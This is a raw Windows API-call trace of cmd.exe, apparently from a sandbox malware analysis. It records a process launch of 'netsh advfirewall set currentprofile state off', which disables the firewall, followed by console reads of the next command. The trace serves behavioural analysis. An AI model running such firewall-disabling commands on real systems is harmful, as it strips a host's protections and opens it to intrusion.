	[0215.343] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\netsh.exe", lpCommandLine="netsh  advfirewall set currentprofile state off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x80182ff450*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh  advfirewall set currentprofile state off", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x80182ff428 | out: lpCommandLine="netsh  advfirewall set currentprofile state off", lpProcessInformation=0x80182ff428*(hProcess=0x98, hThread=0x94, dwProcessId=0xdc0, dwThreadId=0xdc4)) returned 1
	[0215.395] CloseHandle (hObject=0x94) returned 1
	[0215.395] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0215.395] GetProcessHeap () returned 0x1da87280000
	[0215.395] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87288510) returned 1
	[0215.395] GetEnvironmentStringsW () returned 0x1da87299520*
	[0215.396] GetProcessHeap () returned 0x1da87280000
	[0215.396] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xac4) returned 0x1da872884b0
	[0215.396] FreeEnvironmentStringsA (penv="=") returned 1
	[0215.396] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff862c80000
	[0215.396] GetProcAddress (hModule=0x7ff862c80000, lpProcName="NtQueryInformationProcess") returned 0x7ff862d256b0
	[0215.396] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x80182fe928, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x80182fe928, ReturnLength=0x0) returned 0x0
	[0215.396] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x7e079b3000, lpBuffer=0x80182fe960, nSize=0x7a0, lpNumberOfBytesRead=0x80182fe920 | out: lpBuffer=0x80182fe960*, lpNumberOfBytesRead=0x80182fe920*=0x7a0) returned 1
	[0215.396] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0
	[0249.621] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x80182ff3a8 | out: lpExitCode=0x80182ff3a8*=0x0) returned 1
	[0249.621] CloseHandle (hObject=0x98) returned 1
	[0249.621] _vsnwprintf (in: _Buffer=0x80182ff578, _BufferCount=0x13, _Format="%08X", _ArgList=0x80182ff3b8 | out: _Buffer="00000000") returned 8
	[0249.621] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0249.621] GetProcessHeap () returned 0x1da87280000
	[0249.621] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da872884b0) returned 1
	[0249.621] GetEnvironmentStringsW () returned 0x1da872884b0*
	[0249.621] GetProcessHeap () returned 0x1da87280000
	[0249.621] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xaea) returned 0x1da8729cfb0
	[0249.621] FreeEnvironmentStringsA (penv="=") returned 1
	[0249.621] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0249.621] GetProcessHeap () returned 0x1da87280000
	[0249.621] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da8729cfb0) returned 1
	[0249.622] GetEnvironmentStringsW () returned 0x1da872884b0*
	[0249.622] GetProcessHeap () returned 0x1da87280000
	[0249.622] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xaea) returned 0x1da8729cfb0
	[0249.622] FreeEnvironmentStringsA (penv="=") returned 1
	[0249.622] GetProcessHeap () returned 0x1da87280000
	[0249.622] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87288010) returned 1
	[0249.623] DeleteProcThreadAttributeList (in: lpAttributeList=0x80182ff530 | out: lpAttributeList=0x80182ff530) 
	[0249.623] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0249.672] ??_V@YAXPEAX@Z () returned 0x1
	[0249.672] _get_osfhandle (_FileHandle=1) returned 0x254
	[0249.672] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0249.672] _get_osfhandle (_FileHandle=1) returned 0x254
	[0249.672] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff68358fc08 | out: lpMode=0x7ff68358fc08) returned 0
	[0249.672] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.672] GetConsoleMode (in: hConsoleHandle=0x244, lpMode=0x7ff68358fc0c | out: lpMode=0x7ff68358fc0c) returned 0
	[0249.672] GetConsoleOutputCP () returned 0x1b5
	[0249.737] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0249.737] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0249.765] GetProcessHeap () returned 0x1da87280000
	[0249.765] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87286e40) returned 1
	[0249.765] GetProcessHeap () returned 0x1da87280000
	[0249.765] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87299030) returned 1
	[0249.765] GetProcessHeap () returned 0x1da87280000
	[0249.765] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87286c80) returned 1
	[0249.765] GetProcessHeap () returned 0x1da87280000
	[0249.765] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87298fd0) returned 1
	[0249.765] GetProcessHeap () returned 0x1da87280000
	[0249.766] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87286c00) returned 1
	[0249.766] GetProcessHeap () returned 0x1da87280000
	[0249.766] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87288fe0) returned 1
	[0249.766] GetProcessHeap () returned 0x1da87280000
	[0249.766] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87288440) returned 1
	[0249.766] GetProcessHeap () returned 0x1da87280000
	[0249.766] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da872881b0) returned 1
	[0249.766] GetProcessHeap () returned 0x1da87280000
	[0249.766] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87288380) returned 1
	[0249.767] _vsnwprintf (in: _Buffer=0x7ff683597f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x80182ff958 | out: _Buffer="\r\n") returned 2
	[0249.767] _get_osfhandle (_FileHandle=1) returned 0x254
	[0249.767] GetFileType (hFile=0x254) returned 0x3
	[0249.767] _get_osfhandle (_FileHandle=1) returned 0x254
	[0249.767] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0249.767] WriteFile (in: hFile=0x254, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x80182ff928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0x80182ff928*=0x2, lpOverlapped=0x0) returned 1
	[0249.767] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0249.844] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1da874c0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0249.844] _vsnwprintf (in: _Buffer=0x1da874d0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x80182ff968 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0249.844] _vsnwprintf (in: _Buffer=0x1da874d0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x80182ff968 | out: _Buffer=">") returned 1
	[0249.844] _get_osfhandle (_FileHandle=1) returned 0x254
	[0249.844] GetFileType (hFile=0x254) returned 0x3
	[0249.844] _get_osfhandle (_FileHandle=1) returned 0x254
	[0249.844] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0249.844] WriteFile (in: hFile=0x254, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x80182ff958, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0x80182ff958*=0x14, lpOverlapped=0x0) returned 1
	[0249.844] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.844] GetFileType (hFile=0x244) returned 0x3
	[0249.844] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.844] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.844] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c30, cchWideChar=1 | out: lpWideCharStr="netsh advfirewall set currentprofile state off\n") returned 1
	[0249.844] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.844] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.844] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c32, cchWideChar=1 | out: lpWideCharStr="etsh advfirewall set currentprofile state off\n") returned 1
	[0249.845] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.845] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.845] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c34, cchWideChar=1 | out: lpWideCharStr="tsh advfirewall set currentprofile state off\n") returned 1
	[0249.845] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.845] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.845] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c36, cchWideChar=1 | out: lpWideCharStr="sh advfirewall set currentprofile state off\n") returned 1
	[0249.845] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.845] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.845] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c38, cchWideChar=1 | out: lpWideCharStr="h advfirewall set currentprofile state off\n") returned 1
	[0249.845] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.845] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.845] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3a, cchWideChar=1 | out: lpWideCharStr=" advfirewall set currentprofile state off\n") returned 1
	[0249.845] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.845] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.845] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3c, cchWideChar=1 | out: lpWideCharStr="fdvfirewall set currentprofile state off\n") returned 1
	[0249.845] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.845] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.845] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c3e, cchWideChar=1 | out: lpWideCharStr="ivfirewall set currentprofile state off\n") returned 1
	[0249.846] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.846] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.846] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c40, cchWideChar=1 | out: lpWideCharStr="rfirewall set currentprofile state off\n") returned 1
	[0249.846] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.846] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.846] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c42, cchWideChar=1 | out: lpWideCharStr="eirewall set currentprofile state off\n") returned 1
	[0249.846] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.846] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.846] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c44, cchWideChar=1 | out: lpWideCharStr="wrewall set currentprofile state off\n") returned 1
	[0249.846] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.846] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.846] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c46, cchWideChar=1 | out: lpWideCharStr="aewall set currentprofile state off\n") returned 1
	[0249.846] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.846] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.846] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c48, cchWideChar=1 | out: lpWideCharStr="lwall set currentprofile state off\n") returned 1
	[0249.846] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.846] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.847] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4a, cchWideChar=1 | out: lpWideCharStr="lall set currentprofile state off\n") returned 1
	[0249.847] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.847] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.847] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4c, cchWideChar=1 | out: lpWideCharStr=" ll set currentprofile state off\n") returned 1
	[0249.847] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.847] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.847] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4e, cchWideChar=1 | out: lpWideCharStr="sl set currentprofile state off\n") returned 1
	[0249.847] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.847] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.847] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c50, cchWideChar=1 | out: lpWideCharStr="e set currentprofile state off\n") returned 1
	[0249.847] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.847] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.847] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c52, cchWideChar=1 | out: lpWideCharStr="tset currentprofile state off\n") returned 1
	[0249.847] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.847] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.847] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c54, cchWideChar=1 | out: lpWideCharStr=" et currentprofile state off\n") returned 1
	[0249.847] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.848] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.848] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c56, cchWideChar=1 | out: lpWideCharStr="ot currentprofile state off\n") returned 1
	[0249.848] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.848] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.848] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c58, cchWideChar=1 | out: lpWideCharStr="p currentprofile state off\n") returned 1
	[0249.848] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.848] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.848] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5a, cchWideChar=1 | out: lpWideCharStr="mcurrentprofile state off\n") returned 1
	[0249.848] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.848] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.848] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5c, cchWideChar=1 | out: lpWideCharStr="ourrentprofile state off\n") returned 1
	[0249.848] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.848] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.848] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0249.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5e, cchWideChar=1 | out: lpWideCharStr="drrentprofile state off\n") returned 1
	[0249.848] _get_osfhandle (_FileHandle=0) returned 0x244
	[0249.848] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
